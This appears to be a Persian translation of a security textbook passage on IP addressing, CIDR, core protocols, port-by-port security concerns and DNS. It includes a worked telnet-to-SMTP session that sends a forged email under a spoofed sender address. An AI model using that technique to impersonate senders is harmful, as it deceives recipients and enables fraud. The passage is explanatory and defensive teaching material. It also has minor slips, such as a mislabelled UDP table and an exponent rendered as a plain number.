اینترنت، شبکه‌ای از شبکه‌ها است. هرچند مردم زیادی فکر می‌کنند این شبکه‌ها همگی به بزرگی شبکهٔ شرکتهای بزرگی همچون AT&T، WorldCom و Sprint هستند، اما بیشتر شبکه‌هایی که اینترنت را بوجود آورده‌اند در حقیقت شبکه‌های محلی هستند، مثل شبکهٔ درون ساختمان اداری یک سازمان و یا شبکهٔ یک آزمایشگاه کوچک تحقیقاتی. به هریک از این شبکه‌های کوچک شمارهٔ شبکهٔ مخصوصی نسبت داده شده است.

به دو طریق می‌توان به شمارهٔ شبکه نگاه کرد. شماره شبکه‌های "کلاسیک" با چند بیت پیشوند در آدرس هر میزبان در شبکه مشخص می‌شدند. این روش فضای آدرس‌دهی را به مجموعه‌های خوش‌تعریفی از شبکه‌ها در اندازه‌های متفاوت تقسیم می‌کرد. در روش آدرس‌دهی کلاسیک، ۵ نوع اصلی آدرس IP وجود دارد؛ چند بیت اول آدرس (بیتهای با ارزش بیشتر) کلاس یا دسته‌بندی شبکه‌ای را که آدرس به آن تعلق دارد تعریف می‌کنند، و مابقی بیتها به دو قسمت "شبکه" و "میزبان" تقسیم می‌شوند:

آدرسهای کلاس A

میزبانهای شبکه‌های کلاس A دارای آدرسهایی با قالب N.a.b.c هستند که در آن N شمارهٔ شبکه و a.b.c شمارهٔ میزبان است. در این دسته از شبکه‌ها، با ارزشترین بیت N (بیت سمت چپ) باید صفر باشد. شبکه‌های کلاس A زیادی وجود ندارد، چون این شبکه‌ها باعث هدر رفتن فضای آدرس‌دهی می‌شوند. در حقیقت می‌توان گفت تا زمانیکه کسی ۱۶،۷۷۷،۲۱۶ میزبان نداشته باشد، به یک شبکه کلاس A نیاز ندارد! اما به هر ترتیب بسیاری از پیشگامان اینترنت مانند MIT و *BBN*[۲۷۴] شبکه‌هایی از کلاس A دارند. مسلماً این شرکتها تمام رایانه‌های خود را در یک شبکهٔ فیزیکی واحد قرار نمی‌دهند و در عوض شبکه داخلی خود را عملاً به شبکه‌های کلاس B یا کلاس C تقسیم می‌کنند. به این عمل *زیرشبکه‌سازی*[۲۷۵] می‌گویند.

273 *Asynchronous Transfer Mode*
274 *Bolt Beranek and Newman*
275 *Subnetting*

آدرسهای کلاس B

میزبانهای شبکه‌های کلاس B دارای آدرسهایی با قالب N.M.a.b هستند که در آن N.M شمارهٔ شبکه و a.b شمارهٔ میزبان است. در این شبکه‌ها با ارزشترین دو بیت N باید 10 باشند. شبکه‌های کلاس B معمولاً در دانشگاهها و سازمانهای بزرگ تجاری وجود دارند.

آدرسهای کلاس C

میزبانهای شبکه‌های کلاس C دارای آدرسهایی با قالب N.M.O.a هستند، که در آن N.M.O شمارهٔ شبکه و a شمارهٔ میزبان است. در این شبکه‌ها با ارزشترین سه بیت N باید 110 باشد. این شبکه‌ها می‌توانند حداکثر ۲۵۴ میزبان را تحت پوشش قرار دهند.[۲۷۶] بیشتر سازمانها یک یا چند شبکهٔ کلاس C دارند.

آدرسهای کلاس D

میزبانهای شبکه‌های کلاس D دارای آدرسهایی با قالب N.M.O.a هستند، اما در آنها با ارزشترین چهار بیت N باید 1110 باشد. این آدرسها در حقیقت متعلق به شبکه‌ها نیستند، بلکه مربوط به گروههای multicast می‌باشند. این گروهها مجموعه‌هایی از میزبانها هستند که برای دریافت پخشهای عمومی از یک آدرس مشترک انتظار می‌کشند.

آدرسهای کلاس E

میزبانهای شبکه‌های کلاس E دارای آدرسهایی با قالب N.M.O.P هستند و در آنها با ارزشترین چهار بیت N باید 1111 باشد. این آدرسها درحال حاضر برای کاربردهای آزمایشی ذخیره شده‌اند.

بسیاری از این کلاسهای شبکه، حفره‌های بزرگی – مجموعه‌ای از آدرسها که هیچگاه استفاده نمی‌شدند – داشتند. با افزایش ناگهانی تعداد پایگاههای اینترنتی، یک تعبیر نسبتاً متفاوت از آدرسهای شبکه پیشنهاد شد که در نسبت دادن آدرسها اجازهٔ کوچکیِ بیشتر و درنتیجه هدر رفتن کمتر آدرسها را می‌داد. این روش، *مسیریابی بدون طبقه‌بندی میان دامنه‌ها* (CIDR)[۲۷۷] نام دارد.

همانطور که از این نام برمی‌آید، در این روش چیزی به نام کلاس آدرس وجود ندارد و بجای آن شمارهٔ شبکه‌ها بوسیلهٔ باارزشترین k بیت هر آدرس تعریف می‌شود، و مابقی بیتها بعنوان قسمتی از آدرس که معرف شمارهٔ میزبان است بکار می‌روند. بنابراین می‌توان به یک ارائه‌دهندهٔ سرویس، محدوده‌ای از آدرسها داد که ۱۴ بیت اول آنها یک مقدار ثابت (آدرس شبکه)، و ۱۸ بیت باقیمانده نمایانگر مقادیر موجود برای انتساب به میزبانها باشند. این روش ارائه‌دهندهٔ سرویس را قادر می‌کند که بتواند ۲۱۸ آدرس متمایز به مشتریان خود تخصیص دهد.

شبکه‌های CIDR معمولاً با بیان کوچکترین آدرس IP محدوده، یک علامت ممیز، و سپس اندازهٔ قسمت شبکه بر حسب بیت به نمایش در می‌آیند. مثلاً شبکهٔ 128.200.0.0/14 نمایانگر تمام آدرسهای IP از 128.200.0.0 تا 128.203.255.255 است. یک روش دیگر برای نمایش این شبکه بیان کوچکترین آدرس IP محدوده، یک علامت ممیز، و سپس netmask[۲۷۸] می‌باشد. بعنوان نمونه شبکه‌ای که در مثال قبل آمد در این روش بصورت 128.200.0.0/255.252.0.0 بیان می‌شود.

روش CIDR با قالب آدرس‌دهی کلاسیک سازگار است: قسمت شبکهٔ آدرسهای کلاس A از ۸ بیت تشکیل شده (مثلاً 10.0.0.0/8)، کلاس B از ۱۶ بیت (مثلاً 192.168.0.0/16) و مابقی کلاسهای آدرس نیز به همین منوال.

---

۲۷۶ *اشکالات و ناسازگاریهای موجود میان پیاده‌سازیهای مختلف IP جلوی استفاده از ۰ یا ۲۵۵ بعنوان یک آدرس IP معتبر را گرفته است.*

277 Classless Inter-Domain Routing

۲۷۸ *یک شماره مشابه یک آدرس IP که در آن k بیت با ارزش بیشتر که نمایانگر شمارهٔ شبکه هستند مقدار ۱ و مابقی بیتها مقدار ۰ دارند.*

بسته‌ها و پروتکلها

امروزه چهار نوع اصلی از بسته‌های IP وجود دارد که روی اینترنت ارسال و توسط میزبانهای معمولی دیده می‌شوند که هر نوع بسته مربوط به پروتکل خاصی است. (ممکن است انواع دیگر بسته‌ها توسط مسیریابهای روی شاهراه‌های اصلی اینترنت و یا VPNها بکار روند.)

ICMP

پروتکل پیام کنترلی اینترنت[۲۷۹]. این پروتکل برای اعمال سطح پایین پروتکل IP – مثلاً تبادل اطلاعات ترافیک و مسیریابی – بکار می‌رود و زیرنوعهای زیادی نیز دارد.

TCP

پروتکل کنترل انتقال[۲۸۰]. این پروتکل برای ایجاد یک اتصال دوطرفهٔ جریانی میان دو رایانه کاربرد دارد. این پروتکل از برقراری اتصال استفاده می‌کند و برای تضمین انتقال قابل اطمینان اطلاعات، قابلیتهای *اتمام وقت*[۲۸۱] و *انتقال مجدد*[۲۸۲] را نیز در بر می‌گیرد.

UDP

پروتکل datagram کاربر[۲۸۳]. این پروتکل برای فرستادن بسته‌ها از یک میزبان به میزبان دیگر بکار می‌رود. این پروتکل *بدون اتصال*[۲۸۴] است. این پروتکل از لحاظ نظری قابل اطمینان محسوب نمی‌شود و برای اطمینان از انتقال پیام مکانیزم خاصی ندارد، اما در شرایط معمولی اکثر بسته‌ها به مقصد می‌رسند.

IGMP

پروتکل مدیریت گروه اینترنت[۲۸۵]. این پروتکل در کنترل multicast کاربرد دارد، که فرستادن تعمدی یک بسته به بیش از یک میزبان است. Multicast پایه و اساس شاهراه‌های چندرسانه‌ای اینترنت – MBONE – می‌باشد.

ICMP

پروتکل پیام کنترلی اینترنت. این پروتکل در تبادل پیامها میان دروازه‌ها و میزبانها برای اعمال سطح پایین اینترنت کاربرد دارد. بعنوان مثال دستورالعمل ping از بسته‌های *پژواک*[۲۸۶] ICMP برای بررسی اتصال شبکه استفاده می‌کند. واکنش به یک بستهٔ پژواک معمولاً یک پاسخ پژواک ICMP است و یا یک پیام ICMP مبتنی بر غیرقابل دسترسی بودن مقصد.

علاوه بر اطلاعات درون سرآیند IP (آدرسهای مبدأ و مقصد بسته)، هر بستهٔ ICMP یک سرآیند ICMP نیز دارد که یک مقدار ۸ بیتی مشخص‌کنندهٔ نوع بسته می‌باشد. برخی از انواع بسته‌های ICMP دیگر در اینترنت استفاده نمی‌شوند، و بسیاری از آنها همچنان در پیاده‌سازیهای مختلف TCP/IP بکار می‌روند. این مسئله گاهی باعث بروز مشکلات امنیتی نیز شده است. اگر بخواهیم دقیقتر بگوییم، بسته‌های نوع ۳ (اعلام غیرقابل دسترسی بودن مقصد)، نوع ۴ (غیرفعال کردن مبدأ)، و نوع ۵ (هدایت مجدد) مخاطرات امنیتی به همراه دارند، چون مهاجمی که بتواند از این انواع بسته‌های ICMP بفرستد می‌تواند ترافیک شبکه را به مقصد دلخواه خود هدایت کند و یا آغازگر حملات تخریب سرویس باشد. هرچند انواع دیگر بسته‌ها مخاطرات مستقیم چندانی به همراه ندارند، اما نگارشهای متفاوت سیستم‌عاملهای مختلف معمولاً به آنها پاسخهای یکسانی نمی‌دهند و مهاجمان می‌توانند از الگوی پاسخها برای یافتن نوع

279 *Internet Control Message Protocol*
280 *Transmission Control Protocol*
281 *Timeout*
282 *Retransmission*
283 *User Datagram Protocol*
284 *Connectionless*
285 *Internet Group Management Protocol*
286 *Echo*

سیستم‌عامل استفاده کنند و پس از آن از اشکالات شناخته‌شدهٔ آنها بهره‌برداری نمایند. اگر از دیوارهٔ آتش استفاده می‌کنید باید بیشتر انواع بسته‌های ICMP را مسدود کنید و یا تحت نظارت قرار دهید. معمولاً می‌توانید بدون بوجود آمدن هیچ مشکل جانبی، مسیر بسته‌های ورودی ICMP از انواع ۵، ۱۳ (درخواست *مهر زمان*[۲۸۷])، ۱۴ (پاسخ مهر زمان)، ۱۷ (درخواست address mask)، و ۱۸ (پاسخ address mask)، و نیز بسته‌های خروجی ICMP از انواع ۵، ۱۱ (اتمام وقت)، ۱۲ (مشکل آرگومان)، ۱۳، ۱۴، ۱۷، و ۱۸ را ببندید.

TCP

TCP یک جریان انتقال قابل اطمینان، با حفظ ترتیب و دوطرفه میان دو برنامه که روی یک رایانهٔ واحد یا دو رایانهٔ مختلف به اجرا در آمده‌اند ایجاد می‌کند. "قابل اطمینان" به این معنا است که تضمین می‌شود هر بایت فرستاده‌شده حتماً به مقصد خود می‌رسد (و درصورت عدم موفقیت نیز حتماً شما از آن مطلع می‌شوید)، و نیز اینکه بایتها در مقصد به همان ترتیبی دریافت می‌گردند که فرستاده شده‌اند. واضح است که اگر ارتباط بصورت فیزیکی قطع شود، بایتهای منتقل‌نشده به مقصد نخواهند رسید، مگر آنکه یک مسیر جایگزین برای آن مقصد پیدا شود. در چنین حالتی، پیاده‌سازی انجام‌شده از TCP باید به پردازهٔ فرستنده یا گیرنده یک پیغام خطا دهد، نه اینکه وانمود کند که ارتباط هنوز از کارایی برخوردار است.

هر اتصال TCP در هریک از دو سر خود به یک پورت متصل می‌شود و پورتها با شماره‌های ۱۶ بیتی مشخص می‌شوند. در بیشتر پیاده‌سازیهای پروتکل TCP، سرویس‌دهنده برای هریک از خدمات خود از همان شمارهٔ پورتی استفاده می‌کند که به آن سرویس نسبت داده شده، و شمارهٔ پورت سرویس‌گیرنده نیز برای هریک از اتصالات بصورت تصادفی معین می‌شود. بعضی شماره پورتهای معروف عبارتند از پورت ۸۰ برای سرویس‌دهنده‌های HTTP و پورت ۲۵ برای سرویس‌دهنده‌های SMTP.

در روی سیم، بسته‌های TCP همان بسته‌های IP هستند که یک سرآیند TCP به آنها اضافه شده است. این سرآیند شامل چند اطلاعات دیگر نیز هست، از جمله:

- شماره پورت TCP مبدأ بسته،
- شماره پورت TCP مقصد بسته،
- اطلاعات ردیف، بطوریکه گیرنده بتواند محتویات بسته را در موقعیت درست خود در رشتهٔ TCP قرار دهد،
- اطلاعات کنترل جریان، که به گیرنده اطلاع می‌دهد فرستندهٔ بسته چند بایت دیگر می‌تواند دریافت کند،[۲۸۸] و
- *سرجمع*[۲۸۹] TCP.

در هر لحظه، هر اتصال IPv4 از نوع TCP روی اینترنت را می‌توان با دو عدد ۳۲ بیتی و دو عدد ۱۶ بیتی مشخص کرد:

- آدرس میزبان ایجادکنندهٔ اتصال (از سرآیند IP)؛
- شماره پورت ایجادکنندهٔ اتصال (از سرآیند TCP)؛
- آدرس میزبان مقصد اتصال (از سرآیند IP)؛ و
- شماره پورت مقصد اتصال (از سرآیند TCP).

پروتکل TCP از دو بیت بخصوص در سرآید بسته به نامهای SYN و ACK بمنظور ارسال درخواست برای ایجاد اتصالهای جدید استفاده می‌کند. برای بازکردن یک اتصال TCP، میزبان درخواست‌کننده یک بسته به میزبان گیرندهٔ درخواست می‌فرستد که در آن بیت SYN مقدار ۱ و بیت ACK مقدار ۰ را دارد. پس از آن میزبان گیرندهٔ درخواست با پس فرستادن یک بسته که در آن هر دو بیت SYN و ACK مقدار ۱ دارند این درخواست را تأیید می‌کند؛ و در پایان نیز میزبان اول یک بستهٔ سوم می‌فرستد که در آن

---

287 *Timestamp*

۲۸۸ *به این عدد "پنجرهٔ TCP" می‌گویند.*

289 *Checksum*

بیت ACK مقدار ۱ ولی بیت SYN مقدار ۰ دارد. به این روند، *دست دادن سه‌مرحله‌ای TCP*[۲۹۰] می‌گویند. با جستجو بدنبال بسته‌هایی که در سرآیند آنها بیت SYN مقدار دارد ولی ACK مقدار ندارد می‌توان بسته‌های مربوط به درخواست اتصال جدید را از بسته‌هایی که در پاسخ به اتصالات از قبل ایجادشده فرستاده می‌شوند تشخیص داد. این تفاوت هنگام ساختن دیواره‌های آتش غربال‌کنندهٔ بسته‌ها بکار می‌آید.

TCP در بیشتر خدمات اینترنتی که نیاز به انتقال پایدار و همگام یک جریان داده در یک یا دو جهت دارند بکار می‌رود. بعنوان مثال TCP در پروتکل HTTP، خدمات پایانهٔ راه دور، انتقال فایل، پست الکترونیکی، و همچنین برای فرستادن دستورات به نمایشگرهایی که از سیستم X-Windows استفاده می‌کنند کاربرد دارد. در جدول ۵–الف پورتهای منتسب به تعدادی از خدمات معمول TCP آمده است. در بیشتر این خدمات، مشکلات امنیتی بزرگ و ضعفهای قابل بهره‌برداری کشف شده، که در مقابل هریک ذکر شده است.

دسته‌بندی نگرانیهای امنیتی خدمات TCP بعبارت زیر است:

الف. می‌توان سرویس را از راه دور مورد سوء استفاده قرار داد و حملهٔ تخریب سرویس را آغاز کرد؛

ب. پروتکل نیاز دارد که رمز عبور بصورت متن‌ساده و بدون هیچگونه رمزگذاری در اینترنت منتقل شود (تحت IPv4)؛

ج. پیکربندی نادرست سرویس‌دهنده‌های SMTP، قطعه‌برنامه‌های CGI، و proxyها، یکی از عوامل اصلی پخش مجدد emailهای ناخواسته در اینترنت هستند؛ و

د. سرویس معمولاً بگونه‌ای پیکربندی شده که برای تصدیق هویت از آدرسهای IP استفاده کند، و این مسئله در معرض تهدید گمراه‌سازی و سایر انواع مشابه حملات می‌باشد.

290 TCP Three-Way Handshake

جدول ۵-الف. برخی از خدمات و پورتهای معمول TCP

پورت TCP	نام سرویس	عملکرد	نگرانیها	پیشنهاد وضعیت استفاده
۷	echo	پژواک کاراکترها (برای آزمایش)	الف	غیرفعال کنید
۹	discard	حذف کاراکترها (برای آزمایش)		
۱۳	daytime	ساعات روز را برمی‌گرداند	الف	غیرفعال کنید
۱۹	chargen	مولد کاراکتر	الف	غیرفعال کنید
۲۱	ftp	پروتکل انتقال فایل	ب	غیرفعال کنید؛ از http یا ssh استفاده نمایید
۲۲	ssh	پوستهٔ ایمن (پایانه و انتقال فایل مجازی)		شدیداً توصیه می‌شود
۲۳	telnet	پایانهٔ مجازی	ب	غیرفعال کنید؛ از ssh استفاده نمایید
۲۵	smtp	پست الکترونیکی	ج	
۳۷	time	ساعات روز را برمی‌گرداند	الف	غیرفعال کنید
۴۲	nameserver	سرویس نام TCP		
۴۳	whois	سرویس NIC whois		
۵۳	domain	سرویس نام دامنه (DNS)	د	
۷۹	finger	اطلاعات کاربر		غیرفعال کنید
۸۰	http	شبکه وب جهانی (WWW)	ب، ج	
۱۱۰	pop3	پروتکل دفتر پستی (POP3)	ب	رمزهای عبور متن‌ساده را غیرفعال کنید، یا بجای آن از POP روی TLS استفاده نمایید
۱۱۱	sunrpc	فراخوانی از راه دور (RPC) شرکت Sun	د	دسترسی را محدود کنید
۱۱۳	auth	سرویس تصدیق هویت نام کاربر از راه دور		از نسخه‌ای استفاده کنید که نشانه‌های رمزشده برمی‌گرداند (پایین را ببینید)
۱۱۹	nntp	پروتکل انتقال خبرهای شبکه (Usenet)	ب، د	دسترسی را محدود کنید
۱۴۳	Imap	پروتکل دسترسی تعاملی به پست الکترونیکی	ب	رمزهای عبور متن‌ساده را غیرفعال کنید، یا بجای آن از IMAP روی TLS استفاده نمایید
۴۴۳	https	HTTP رمزشده با SSL		
۵۱۲	exec	اجرای فرمان روی یک میزبان Unix از راه دور		غیرفعال کنید
۵۱۳	login	ورود به یک میزبان Unix راه دور (rlogin)	ب، د	غیرفعال کنید
۵۱۴	shell	ساختن پوسته در میزبان Unix راه دور (rsh)	ب، د	غیرفعال کنید
۵۱۵	printer	چاپ از راه دور	د	دسترسی را محدود کنید
۱۰۸۰	socks	خدمات proxy برنامه‌ای SOCKS	ج	دسترسی را محدود کنید
۲۰۴۹	NFS	NFS روی TCP	د	دسترسی را محدود کنید
۶۰۱۰ تا ۶۰۰۰	X	سیستم X-Windows	ب، د	دسترسی را محدود کنید، بوسیلهٔ SSH یک تونل بسازید

UDP

UDP سیستمی ساده و غیرقابل اطمینان برای ارسال داده میان دو یا چند برنامه روی یک یا چند رایانهٔ مشابه یا متفاوت ارائه می‌دهد. "غیرقابل اطمینان" به این معنی است که سیستم‌عامل تضمین نمی‌کند هر بستهٔ ارسال‌شده حتماً در مقصد تحویل داده شود، و یا بسته‌ها به همان ترتیبی که ارسال می‌شوند به مقصد برسند؛ اما به هر حال UDP بهترین تلاش خود را برای رساندن بسته‌ها به مقصد بعمل می‌آورد. معمولاً روی یک شبکهٔ محلی یا یک مسیر خلوت، UDP نزدیک به ۱۰۰٪ بسته‌ها را به مقصد می‌رساند. مزیت UDP، *سربار*[۲۹۱] کمتر آن نسبت به TCP است – این سربار کمتر به خدمات مبتنی بر UDP اجازه می‌دهد که

291 *Overhead*

بتوانند تا ۱۰ برابر TCP در ارسال اطلاعات بهره‌وری داشته باشند. UDP در درجهٔ اول در سیستم اطلاعات شبکهٔ SUN (NIS) و سیستم فایل شبکه (NFS) برای بدست آوردن نام میزبانها و نیز انتقال اطلاعات مسیریابی بکار می‌رود. همچنین از UDP در خدماتی که از نرسیدن هر از چندگاه یک بسته تأثیر منفی چندانی نمی‌پذیرند – مثلاً به این دلیل که در مدت زمان کوتاهی یک بستهٔ مرتبط دیگر با اطلاعات مشابه دریافت می‌کنند و یا اینکه آن اطلاعات از اهمیت چندانی برخوردار نیست – نیز کاربرد دارد.

همانند TCP، بسته‌های UDP نیز از یک پورت در میزبان فرستنده به یک پورت در میزبان گیرنده ارسال می‌شوند. هر بستهٔ UDP همچنین محتوی داده‌های کاربر نیز هست. اگر برنامه‌ای روی آن پورت خاص به انتظار ایستاده و آمادهٔ دریافت بسته باشد، بسته دریافت خواهد شد. اگر برنامه‌ای روی آن پورت منتظر بسته نباشد، به بسته توجهی نمی‌شود و میزبان گیرندهٔ پیام یک پیغام خطای ICMP می‌فرستد. چنانچه یک برنامه روی آن پورت منتظر دریافت پیام باشد ولی آمادگی دریافت آنرا نداشته باشد، بسته می‌تواند در یک صف در نوبت دریافت‌شدن باقی بماند تا نهایتاً دریافت شود و یا از دست برود.

برخلاف بسته‌های TCP، یک بستهٔ UDP می‌تواند روی شبکه‌های عام‌گستر پخش عمومی شود، به این معنی که می‌تواند به یک پورت خاص روی همهٔ میزبانهایی که روی شبکهٔ محلی یکسانی قرار دارند ارسال گردد. بسته‌های عام‌گستر هر از چندگاه برای خدماتی مثل اعلام ساعت روز بکار می‌روند.

پورتها با اعداد ۱۶ بیتی مشخص می‌شوند. جدول ۵–ب برخی پورتهای منتسب به تعدادی از خدمات معمول UDP را نشان می‌دهد. در خدمات UDP نیز مشکلات امنیتی و ضعفهای قابل بهره‌برداری وجود دارد که مشابه جدول قبلی، نوع مخاطرهٔ هریک از آنها در مقابلشان ذکر شده است.

دسته‌بندی نگرانیهای امنیتی خدمات UDP بعبارت زیر است:

الف. می‌توان سرویس را از راه دور مورد سوء استفاده قرار داد و حملهٔ تخریب سرویس را آغاز کرد؛

ب. پروتکل نیاز دارد که رمز عبور بصورت متن‌ساده و بدون هیچگونه رمزگذاری در اینترنت منتقل شود؛ و

ج. سرویس معمولاً بگونه‌ای پیکربندی شده که برای تصدیق هویت از آدرسهای IP استفاده کند، و این مسئله در معرض تهدید گمراه‌سازی و سایر انواع مشابه حملات می‌باشد.

د. جدول ۵-ب. برخی از خدمات و پورتهای معمول UDP

پورت TCP	نام سرویس	عملکرد	نگرانیها	پیشنهاد وضعیت استفاده
۷	echo	داده‌های کاربر را از طریق یک datagram دیگر بازمی‌گرداند	الف	غیرفعال کنید
۹	discard	کاری انجام نمی‌دهد		
۱۳	daytime	ساعات روز را برمی‌گرداند	الف	غیرفعال کنید
۱۹	charger	مولد کاراکتر	الف	غیرفعال کنید
۳۷	time	ساعت روز را برمی‌گرداند	الف	غیرفعال کنید
۵۳	domain	سرویس نام دامنه (DNS)	ج	جز در سرویس‌دهنده‌های عمومی نام دسترسی را محدود کنید
۶۷ و ۶۸	bootpc bootps	پروتکل پیکربندی پویای میزبان (DHCP)		دسترسی را محدود کنید
۶۹	tftp	پروتکل انتقال جزئی فایل (TFTP)	ج	غیرفعال کنید
۱۱۱	sunrpc	نگاشتگر پورت در فراخوانی از راه دور (RPC) شرکت Sun	ج	دسترسی را محدود کنید
۱۳۷، ۱۳۹، ۴۴۵	Smb	اشتراک فایل و شبکه‌سازی شرکت مایکروسافت		دسترسی را محدود کنید
۱۲۳	ntp	پروتکل زمان شبکه (NTP)		دسترسی را محدود کنید
۱۶۱	snmp	پروتکل مدیریت سادهٔ شبکه (SNMP)	ب، ج	غیرفعال کنید، یا دسترسی را محدود نمایید
۵۱۳	who	جمع‌آوری پیامهای پخشی عمومی در مورد اینکه چه کسی به سایر ماشینهای زیرشبکه وارد شده		
۵۱۴	syslog	قابلیت ثبت سیستمی	الف	دسترسی را محدود کنید
۵۱۷	talk	ایجاد درخواست صحبت		
۵۱۸	ntalk	درخواست صحبت "جدید"		
۵۲۰	route	پروتکل اطلاعات مسیریابی (RIP)	ج	غیرفعال کنید (مسیریابی ایستا را بکار برید) و یا دسترسی را محدود نمایید
۵۳۳	netwall	نوشتن در پایانهٔ هر کاربر	الف	غیرفعال کنید
۲۰۴۹	NFS (معمولاً)	سیستم فایل شبکه (NFS)	ج	دسترسی را محدود کنید

سرویس‌گیرنده‌ها و سرویس‌دهنده‌ها

پروتکل اینترنت بر اساس مدل سرویس‌گیرنده / سرویس‌دهنده است. برنامه‌هایی که سرویس‌گیرنده نامیده می‌شوند با برنامه‌های دیگری به نام سرویس‌دهنده اتصالاتی را از طریق شبکه برقرار می‌کنند، و سرویس‌دهنده‌ها نیز منتظر برقراری این اتصالات هستند. یک نمونه از یک جفت سرویس‌گیرنده / سرویس‌دهنده، سیستم زمان شبکه می‌باشد. برنامهٔ سرویس‌گیرنده برنامه‌ای است که از سرویس‌دهندهٔ شبکه، زمان را می‌پرسد. برنامهٔ سرویس‌دهنده هم برنامه‌ای است که منتظر این درخواستها است و زمان صحیح را اعلام می‌کند. در دنیای Unix، برنامه‌های سرویس‌دهنده‌ای که در پس‌زمینه اجرا می‌شوند و منتظر درخواستهای کاربر هستند به daemon مشهورند و در دنیای مایکروسافت به این برنامه‌ها service (خدمت) گفته می‌شود.

با استفاده از برنامه telnet می‌توانید به هر پورت دلخواه یک رایانه متصل شوید.[۲۹۲] مثلاً می‌توانید به پورت ۲۵ (پورت SMTP) متصل شوید تا بدون اینکه از برنامهٔ اصلی پست الکترونیکی استفاده کرده باشید، یک نامهٔ الکترونیکی جعلی بفرستید:

```
% telnet control.mil 25
Trying 45.1.12.2 ...
Connected to hq.control.mil.
Escape character is '^]'.
220 hq.control.mil ESMTP Sendmail 8.11.6/8.11.6; Sun, 18 Aug 2002 21:21:03 –0500
HELO kaos.org
250 hq.control.mil Hello kaos.org, pleased to meet you
MAIL FROM:<agent86@control.mil>
250 <agent86>... Sender ok
RCPT TO:<agent99@control.mil>
550 <agent99>... Recipient ok
DATA
354 Enter mail, end with “.” on a line by itself
To: agent99
From: Max <agent86>
Subject: tonight

99, I know I was supposed to take you out to dinner tonight, but I have been captured by KAOS agents, and they
won't let me out until they finish torturing me. I hope you understand. Love, Max
.
250 UAA01441 Message accepted for delivery
QUIT
221 hq.control.mil closing connection
Connection closed by foreign host.
%
```

نام میزبان و DNS

"نام میزبان" نامی است که در اینترنت به یک رایانه نسبت داده می‌شود. نام میزبان استفاده از اینترنت را برای کاربران آسانتر می‌سازد، چراکه بخاطر سپردن آن بسیار ساده‌تر از آدرسهای IP است. همچنین می‌توان آدرس IP یک رایانه را تغییر داد اما نام میزبان آنرا به همان نام قبلی باقی گذاشت. یک نام میزبان می‌تواند به بیش از یک آدرس IP تعلق داشته باشد و یک آدرس IP نیز می‌تواند بیش از یک نام میزبان داشته باشد. این دو مورد بر کار کسانیکه می‌خواهند برنامه‌های شبکه‌ای ایمن بنویسند تأثیرات عمیقی می‌گذارند.

---

۲۹۲ *این برنامه در ابتدا بمنظور ورود به سیستمها از راه دور بکار می‌رفت، ولی از آنجا که رمز عبور را بصورت رمزنشده می‌فرستد، این کاربرد telnet دیگر بهیچوجه توصیه نمی‌شود.*

نام میزبان باید با یک حرف یا یک شماره آغاز شود و در ادامه می‌تواند حاوی حروف، شماره و یا برخی نمادها همچون خط فاصله باشد.[۲۹۳] حروف کوچک و بزرگ در نام میزبان با یکدیگر تفاوتی ندارند. مثالی از یک نام میزبان tock.cerias.purdue.edu است.[۲۹۴]

هر نام میزبان از دو بخش تشکیل شده: نام رایانه، و نام دامنهٔ آن. نام رایانه اسمی است که در سمت چپ نقطهٔ اول است؛ و نام دامنه نیز همهٔ آن چیزی است که در سمت راست آن نقطه قرار می‌گیرد. برای نمونه در مثال قبل نام رایانه tock و نام دامنهٔ آن cerias.purdue.edu است. درصورتیکه در خود نام دامنه نقطه وجود داشته باشد، آن نام دامنه نمایانگر سلسله‌مراتبی از دامنه‌ها خواهد بود. بعنوان مثال cerias.purdue.edu معرف دامنهٔ مرکز CERIAS است که بخشی از دامنهٔ دانشگاه Purdue را تشکیل می‌دهد، و به نوبهٔ خود بخشی از دامنهٔ سطح بالاتر مؤسسات آموزشی (edu) می‌باشد.

در آغاز پیدایش اینترنت، همهٔ نامها و آدرسهای رایانه‌های اینترنت در یک فایل واحد بود. اما با بزرگ شدن اندازهٔ فایل به هزاران خط و از آنجا که تغییر در فهرست نامها کم کم به امری روزانه تبدیل شد، به‌روز نگهداری آن عملاً غیرممکن شد و بجای آن یک سرویس توزیع‌شدهٔ نام مبتنی بر شبکه بوجود آمد که خدمات نام دامنه (DNS) نام گرفت.

در DNS، یک پایگاه دادهٔ توزیع‌شده برای ترجمهٔ نام میزبان به آدرس IP و بالعکس و انجام اعمال مربوطه پیاده‌سازی شده است. این نرم‌افزار با استفاده از شبکه برای ترجمهٔ هر بخش از نام میزبان، اینکار را بطور مجزا انجام می‌دهد. بعنوان مثال یک رایانه برای ترجمهٔ نام girigiri.gbrmpa.gov.au ابتدا آدرس یک سرویس‌دهندهٔ اصلی نام (که معمولاً در یک فایل ذخیره شده) را می‌جوید و از آن آدرس سرویس‌دهندهٔ دامنهٔ سطح بالای au را درخواست می‌کند. سپس رایانه از سرویس دهندهٔ دامنهٔ au در مورد آدرس gov.au سؤال می‌کند و با پیدا کردن آن رایانه، آدرس gbrmpa.gov.au را از آن می‌پرسد، و در نهایت از سرویس‌دهندهٔ دامنهٔ gbrmpa.gov.au آدرس رایانهٔ girigiri.gbrmpa.gov.au را جویا می‌شود. در فرآیند ترجمهٔ نام میزبان به آدرس IP، انواع مختلفی از تکنیکهای caching برای کاهش ترافیک کلی شبکه نیز بکار گرفته می‌شوند.

جستجوهای DNS بدنبال نام میزبانها معمولاً بوسیلهٔ بسته‌های UDP انجام می‌گیرد، اما DNS برای بعضی از عملیات خود از TCP هم استفاده می‌کند.

امنیت IP

پروتکل اینترنت و پروتکل IP در مقابل بسیاری از انواع حملات از جمله حدس زدن رمز عبور، مهندسی اجتماعی، اشکالات نرم‌افزاری، دیده‌بانی شبکه، گمراه‌سازی بسته، دستکاری داده‌ها، ربودن اتصال، و حملات تخریب سرویس آسیب‌پذیر است. بسیاری از این حملات سالها پیش از اینکه در عمل رخ دهند پیش‌بینی شده بودند، و با اینحال این پروتکلها هنوز تدبیر مناسبی برای حفاظت در مقابل آنها ندارند.

